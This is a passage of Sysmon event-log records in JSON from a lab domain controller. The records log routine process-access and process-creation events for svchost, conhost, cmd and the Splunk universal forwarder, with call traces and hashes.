C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3761,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:31.793\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-001095160500}\r\nSourceProcessId: 664\r\nSourceThreadId: 2796\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-407F-5F2D-0000-00105E630500}\r\nTargetProcessId: 4004\r\nTargetImage: C:\\Windows\\system32\\cmd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:31.793","SourceProcessGUID":"{90617006-407B-5F2D-0000-001095160500}","SourceProcessId":"664","SourceThreadId":"2796","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-407F-5F2D-0000-00105E630500}","TargetProcessId":"4004","TargetImage":"C:\\Windows\\system32\\cmd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:32","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":3762,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.038\r\nProcessGuid: {90617006-4080-5F2D-0000-001040650500}\r\nProcessId: 3984\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\" --scheme\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=87264859EE7DE0CED006DBC0D061030F,SHA256=80087865D952613CBC7D9663B1F34B7264B1291278BDD5939C7CCEA334864CF1,IMPHASH=B0958DE096151B4209C7AECE2483DEF3\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.038","ProcessGuid":"{90617006-4080-5F2D-0000-001040650500}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\" --scheme","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=87264859EE7DE0CED006DBC0D061030F,SHA256=80087865D952613CBC7D9663B1F34B7264B1291278BDD5939C7CCEA334864CF1,IMPHASH=B0958DE096151B4209C7AECE2483DEF3","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3763,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3600\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-4080-5F2D-0000-001040650500}\r\nTargetProcessId: 3984\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3600","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-4080-5F2D-0000-001040650500}","TargetProcessId":"3984","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\etc\\apps\\Splunk_TA_stream\\windows_x86_64\\bin\\streamfwd.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7d35e7|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7cdcb9|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca4ec|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7ca0a3|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+7c9f0d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6d7908|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6de2ee|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b29fa|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+6b4274|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e42dc|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ec682|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+e9959|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+d7f31|C:\\Windows\\System32\\sechost.dll+14342|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3764,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3765,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:52:32.575","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:52:34","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:52:32","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":3768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:52:32.575\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 